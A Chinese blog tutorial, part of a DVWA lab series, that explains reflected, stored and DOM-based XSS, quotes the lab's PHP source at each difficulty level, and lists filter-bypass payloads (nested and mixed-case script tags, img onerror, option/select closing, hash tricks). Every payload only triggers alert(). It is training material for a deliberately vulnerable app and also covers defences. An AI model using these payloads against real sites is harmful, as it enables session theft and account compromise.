DVWA靶场系列（六）—— XSS（跨站脚本攻击）

已于 2022-08-08 20:23:19 修改
阅读量2.4k 收藏 36
点赞数 7
分类专栏： DVWA靶场系列 文章标签： xss 安全 web安全 php
于 2022-08-02 11:30:25 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45612828/article/details/126117904
版权

#免责声明：
本文属于个人笔记，仅用于学习，禁止使用于任何违法行为，任何违法行为与本人无关。

漏洞原理

XSS又叫CSS（Cross Site Script），跨站脚本攻击。它指的是恶意攻击者往Web页面
里插入恶意JS代码，当用户浏览该页之时，嵌入其中Web里面的JS代码会被执行，从而达到恶意的特殊目的。它同xxe是有很大区别的，相同点是对用户输入的数据过于信任导致恶意代码被执行，可以看我另一篇博客对xxe漏洞的分析http://t.csdn.cn/kyX8v
XSS漏洞分类
1.反射型
反射型XSS也叫做非持久型XSS，攻击者在URL中插入XSS代码，服务端将URL中的XSS代码输出到页面上，攻击者将带有XSS代码的URL发送给用户，用户打开后受到XSS攻击。
2.存储型
攻击者在页面上插入XSS代码，服务器端将数据存入数据库，当用户访问到存在XSS漏洞的页面时，服务器端从数据库中取出数据展示到页面上，导致XSS代码执行，达到攻击效果。
3.DOM型
通过修改页面的DOM节点形成的XSS，称之为XSS；效果跟反射型XSS类似，攻击者在URL中插入XSS代码，前端页面直接从URL中获取XSS代码并且输出到页面，导致XSS代码的执行，攻击者将带有XSS代码的URL发给用户，用户打开后受到XSS攻击。

漏洞危害

XSS漏洞的危害
1.窃取用户Cookie，如果用户Cookie被窃取，攻击者可以不通过密码，而直接登录用户账户
2.使用XMLHttpRequest构造模拟用户请求操作
3.XSS钓鱼攻击
4.用户PC信息探测收集器
5.XSS蠕虫攻击

防御措施

（1） 特殊字符HTML实体转码。最好的过滤方式是在输出和二次调用的时候进行加HTML实体一类的转码，防止脚本注入。
（2） 标签事件属性黑名单。特殊字符容易被绕过，所以还得加标签事件得黑名单或者白名单，这里推荐使用白名单的方式，实现规则可以直接使用正则表达式来匹配，如果匹配到的事件不在白名单列表，就可以直接拦截，而不是过滤为空。
（3）HttpOnly
HttpOnly是微软公司的Internet Explorer 6 SP1引入的一项新特性。这个特性为Cookie提供了一个新的属性，用以阻止客户端脚本访问Cookie。至今已成为了一个标准，几乎所有的浏览器都会支持HttpOnly
许多 XSS 攻击的目的就是为了获取用户的 cookie，将重要的 cookie 标记为 http only，这样的话当浏览器向服务端发起请求时就会带上 cookie 字段，但是在脚本中却不能访问 cookie，这样就避免了 XSS 攻击利用 js 的 document.cookie获取 Cookie。

靶场实战

DOM-XSS

Low难度

源码分析
<?php

# No protections, anything goes

?>

在这里插入图片描述

这里可以发现，源码没有进行任何过滤，且发出的GET请求，参数是default值。

漏洞复现

直接将要执行的js代码：<script>alert(/XSS/)</script>赋值给default，即可看到代码被执行成功，且网页界面的DOM节点被修改。
在这里插入图片描述

Medium难度

源码分析
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

可以看到这段代码过滤default提交参数中的“<script”字符串，stripos() 函数会匹配提交的参数中第一次出现”<script“，如果出现了，就会手动通过location 将URL 后面的参数修改为?default=English。

漏洞复现

这里可以利用input标签来绕过过滤：
?default=English<input onclick=alert(/XSS/)>
在这里插入图片描述
还可以利用ing标签来绕过，但前提是需要闭合前面的option标签和select 标签闭合：
?default=</option></select><img src='' onerror=alert(/XSS/)>
在这里插入图片描述

High难度

源码分析
 <?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

可以看到加入了白名单过滤规则，白名单只允许传的default值为French、English、German、Spanish其中一个凡是不在白名单中的，强制修改其为English。

漏洞复现

这里可以利用English#与English&x来绕过。
比如：
?default=English#<script>alert(/XSS/)</script>
?default=English&x<script>alert(/XSS/)</script>
?default=English#<input onclick=alert(/XSS/)>
?default=English&x<input onclick=alert(/XSS/)>
?default=English#</option></select><img src='' onerror=alert(/XSS/)>
?default=English&x</option></select><img src='' onerror=alert(/XSS/)>
在这里插入图片描述

Impossible难度

源码分析
<?php

# Don't need to do anything, protction handled on the client side

?>

在这里插入图片描述
可以发现这里对我们输入的参数(lang)并没有进行URL解码，而在其他级别中是有解码过程的decodeURI(lang)。所以我们输入的任何参数都是经过URL编码，然后直接赋值给option标签。

reflected-XSS

Low难度

源码分析
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

在这里插入图片描述
可以看到，代码直接引用了name参数，并没有任何的过滤与检查，存在明显的XSS漏洞。

漏洞复现

直接注入js代码：<script>alert(/XSS/)</script>
在这里插入图片描述

Medium难度

源码分析
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

在这里插入图片描述

这里使用str_replace() 函数对name 变量中的敏感字符

漏洞复现

这里可以通过嵌套绕过：<sc<script>ript>alert(/XSS/)</script>
在这里插入图片描述
大小写绕过：<Script>alert(/XSS/)</sCript>
在这里插入图片描述
使用其他标签进行绕过：<input onclick=alert(/XSS/)>
在这里插入图片描述
</option></select><img src='' onerror=alert(/XSS/)>
在这里插入图片描述

High难度

源码分析
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

在这里插入图片描述
同样使用黑名单过滤输入，preg_replace() 函数将包含<script的字符，不管大小写，不管后面跟着1个或多个与之相同的字符都转换为空。用于正则表达式的搜索和替换，这使得双写绕过、大小写混淆绕过（正则表达式中i表示不区分大小写）不再有效。

漏洞复现

当然同样可以使用其他标签绕过：
<input onclick=alert(/XSS/)>
</option></select><img src='' onerror=alert(/XSS/)>
在这里插入图片描述
在这里插入图片描述

Impossible难度

源码分析
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在这里插入图片描述

这里使用htmlspecialchars（）函数进行过滤，htmlspecialchars() 函数把预定义的字符转换为 HTML 实体，输入到

标签中，目前没有什么好的方法进行绕过。

Stored-XSS

Low难度

源码分析
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

在这里插入图片描述
// trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符，预定义字符包括、\t、\n、\x0B、\r以及空格，可选参数charlist支持添加额外需要删除的字符。
// stripslashes(string)
函数删除字符串中的反斜杠。
// mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号（\x00，\n，\r，\，‘，“，\x1a）进行转义。
这些函数只是对数据库进行了保护，并没有对XSS进行过滤.

漏洞复现

直接注入js代码：<script>alert(/XSS/)</script>
在这里插入图片描述

Medium难度

源码分析
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

在这里插入图片描述
1、addslashes
addslashes(string)//在预定义字符前添加反斜杠，预定义字符 ’ " \ NULL
2、strip_tags
strip_tags(string,allow)//去除字符串中的HTML、XML、PHP 的标签
//allow 参数可选，规定允许这些标签
3、htmlspecialchars
htmlspecialchars(string,flags,character-set,double_encode)
//把预定义的字符转换为HTML实体，预定义字符 & " ’ < >
可以看到对message 变量过滤的很彻底，但是对name变量，只对其进行简单的过滤，过滤掉了“

漏洞复现

字符长度限制可以本地浏览器直接手动修改长度，当然也可以抓包修改：
在这里插入图片描述
接下来使用和reflected-XSS（反射型跨站脚本攻击）Meduim难度一样的方法进行绕过：
1、嵌套
name <sc<script>ript>alert(/XSS/)</script>
message XXX
2、大小写
name <Script>alert(/XSS/)</script>
message XXX
3、其他标签
name <img src=’’ onerror=alert(/XSS/)>
message XXX
在这里插入图片描述

High难度

源码分析
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

在这里插入图片描述
可以看到同样对message进行了非常严格的过滤。

漏洞复现

但是对于name依旧可以采取其他标签的形式绕过：<img src=’’ onerror=alert(/XSS/)>
在这里插入图片描述

Impossible难度

源码分析
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在这里插入图片描述
这里对message和name变量都进行了严格的过滤，而且还检测了用户的token，没有办法进行绕过了。

又是朴实无华的一天！！！！！！！！！！！！

参考文章：http://t.csdn.cn/h46YP

Never say die _
关注
  • 7
    点赞
  • 踩
  • 36
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
跨站攻击(XSS+CSRF).docx
01-05
实验目的与要求 1. 能理解XSS注入原理； 2. 能应用Low等级、Medium等级、High级别的XSS； 3. 能理解XSS的修复。 4. 能从攻击者角度、受害者角度描述CSRF； 5. 能应用Low等级、Medium等级的CSRF实现； 6. 能摸索High级别的CSRF实现； 7. 能理解CSRF的修复。 2. CSRF定义 跨站请求伪造（英语：Cross-site request forgery），也被称为 one-click attack 或者 session riding，通常缩写为 CSRF 或者 XSRF， 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。 3. 实验内容 利用Kali Linux对DVWA的Reflected Cross Site Scripting (XSS)/Stored Cross Site Scripting (XSS)模块，包括： 1) Low等级；（15分） 2) Medium等级；（10分） 3) High级别；（10分） 4) Impossible等级的机制以及修复、防御方法。（10分） 5) 报告撰写规范程
dvwa靶场，里面也有xss靶场
09-24
我的连接数据库用户名是root，密码是123456，自己的不一样的话，在DVWA-master\config目录下config.inc.php文件内修改自己的密码。
dvwa中的xss（跨站脚本）攻击
无痕的博客
01-17 1914
xss攻击介绍与在dvwa中的xss攻击演示
dvwa靶场xss通关
qq_40102160的博客
02-28 960
基于phpStudy以及dvwa靶场，进行xss攻击实验，进行三种模式下的xss攻击，并介绍相关原理以及突破方式和防御措施。
DVWA之xss
giun的博客
03-11 970
一、反射（reflected）型 （一）、尝试low等级 输入正常数字，返回以下内容 再输入&amp;lt;xss&amp;gt;发现，只输出了hello 我们使用火狐的开发者工具查看下元素 发现hello的后面是一对xss标签 我们进行弹窗测试 输入&amp;lt;script&amp;gt;alert(/xss/)&amp;lt;/script&amp;gt; 发现弹窗，说明存在xss注入 介绍javaScript的3个弹
DVWA靶场-XSS（跨站脚本攻击）
zeroone的博客
03-12 1362
第十关：XSS（跨站脚本攻击）       XSS，全称Cross Site Scripting，即跨站脚本攻击，某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行。 反射型XSS Low <?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET
DVWA靶场 XSS
Lee_yc的博客
09-13 1259
1、正常注入是肯定不行了，直接查看源代码，发现只能从name字段注入，而且不能使用标签，这时就想着使用 等标签。5、也可以使用双写script标签的方法，绕过限制 alert("xss success!")") 双写标签绕过。3、大写标签进行绕过，alert("xss success!
DVWA------XSS（全）
m0_65712192的博客
12-13 4648
DVWA-----XSS（全）
DVWA-XSS
qq_58091216的博客
04-19 4942
一.DOM型xss 1.low (1)我们知道最基础的xss攻击就是<script>alert(/xss/)</script> (2)我们看到english直接按select，可以看到?default=English,我们知道在?default后面进行xss攻击 (3)我们直接输入<script>alert(/xss/)</script>,可以看到弹窗 (4)因为low比较简单所以我把分析源代码放在了最后。可以看到没有如何防御 2.m.
dvwa———xss（全）
GZY0601的博客
09-28 1252
这个章节我们来讲一下xss攻击XSS 又称CSS(Cross Site Scripting)或跨站脚本攻击，攻击者在网页中插入由JavaScript编写的恶意代码，当用户浏览被嵌入恶意代码的网页时，恶意代码将会在用户的浏览器上执行。xss有三种：反射型(Reflected)，存储型(Stored)和DOM型反射型xss：只是简单地把用户输入的数据反射给浏览器，简单来说，黑客往往需要用户诱使用户点击一个恶意链接，才能攻击成功。（经后端，不经数据库）存储型XSS：将用户输入的数据存储在服务器端。
DVWA学习之XSS（跨站脚本攻击）（超级详细）
热门推荐
weixin_40950781的博客
08-22 1万+
DVWA学习之XSSXSS 跨站脚本攻击0x01 XSS（Cross Site Script）简介0x02 何为XSS0x03 XSS存在的原因0x04 XSS漏洞的危害0x05 XSS 的分类及特点1. 存储型XSS2. 反射型XSS3. MOD型XSS XSS 跨站脚本攻击 0x01 XSS（Cross Site Script）简介 0x02 何为XSS 跨站脚本攻击XSS(Cross Sit...
DVWA靶场通关（XSS）
m0_56010012的博客
03-22 8878
XSS漏洞 跨站脚本攻击（Cross Site Scripting），为了不和层叠样式表（Cascading Style Sheets，缩写：CSS）混淆，所以架构跨站脚本攻击缩写为XSS。XSS就是攻击者在web页面插入恶意的Script代码，当用户浏览该页面时，嵌入其中的js代码会被执行，从而达到恶意攻击的目的。某种意义上也是一种注入攻击，是指攻击者在页面中注入恶意的脚本代码，当受害者访问该页面时，恶意代码会在其浏览器上执行，需要强调的是，XSS不仅仅限于JavaScript，还包括flash等其它脚
kali2021.3安装dvwa靶场
02-24
适用人群：刚刚学习kali的爱好者 dvwa是一个入门web渗透的典型靶场，有的朋友喜欢安装到kali机里，所以我编辑了这个教程供朋友们参考，亲自验证有效的！！！
xss-dvwa靶场详情
最新发布
04-06
dvwa靶场中的xss漏洞详情
DVWA靶场环境---新手入坑
10-28
DVWA靶场环境---新手学习web安全的必备靶场之一，DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
DVWA-XSS (Reflected)-反射型XSS
seanyang_的博客
06-12 2716
XSS攻击，是指攻击者在Web页面中输入恶意的JavaScript脚本，而Web应用程序没有对用户的输入进行过滤或处理就直接执行，将结果输出在网页中。如果恶意JavaScript脚本被存储到后端服务器中，用户打开该Web页面时，恶意脚本则可能在浏览器中自动执行。XSS攻击依赖于JavaScript脚本的执行。一般，攻击者插入恶意脚本后，需要将脚本执行结果显示出来，因此，XSS攻击常见于网站中有用户输入且能够显示的地方，如文章发表、评论回复、留言板等。
DVWA——XSS(Reflected)——多种方法实现+详细步骤图解+获取cookie的利用过程演示
weixin_46709219的博客
01-25 1万+
一）XSS(Reflected)介绍： 反射型xss（非持久型）：需要欺骗用户自己去点击链接才能触发XSS代码（服务器中没有这样的页面和内容），一般容易出现在搜索页面。特点：弹窗警告、广告；javascript；在浏览器中执行。 通过Web站点漏洞，向客户交付恶意脚本代码，实现对客户端的攻击；恶意攻击者往Web页面里插入恶意的 Script 代码，当用户浏览该页面时，嵌入其中 Web 里面的 Script 代码就会被执行，从而达到恶意攻击用户的目的；注入客户端脚本代码、盗取cookie、重定向等。 二）实际
DVWA靶场之XSS通关详解
qq_62169455的博客
06-27 944
里面的任意字母改为大写即可）,此处也可以通过双写（即写两个嵌套的script）来绕过，即在输入框里面输入代码： alert("GXY")
DVWA靶场存储型XSS漏洞实验
weixin_44851588的博客
05-26 4308
提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 前言 一、pandas是什么？ 二、使用步骤 1.引入库 2.读入数据 总结 前言 来自菜鸟的一次简单分享，本次实验主要结合后台源代码讲解，梳理存储型XSS实验的思路，如果存在问题，请各位大佬多多指导。 一、XSS基础 1.什么是XSS？ XSS（Cross-site scripting）被称为跨站脚本攻击，由于与层叠样式表的缩写一样，因此被缩写为XSS。 2.XSS漏洞...
dvwa靶场xss攻击
09-25
在DVWA靶场中，有一个特定的漏洞被称为XSS（跨站脚本攻击）。XSS攻击是一种利用网页应用程序对用户输入的处理不当而进行的攻击。通过在受害者浏览器中执行恶意脚本，攻击者可以窃取用户的敏感信息、劫持用户会话或者...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值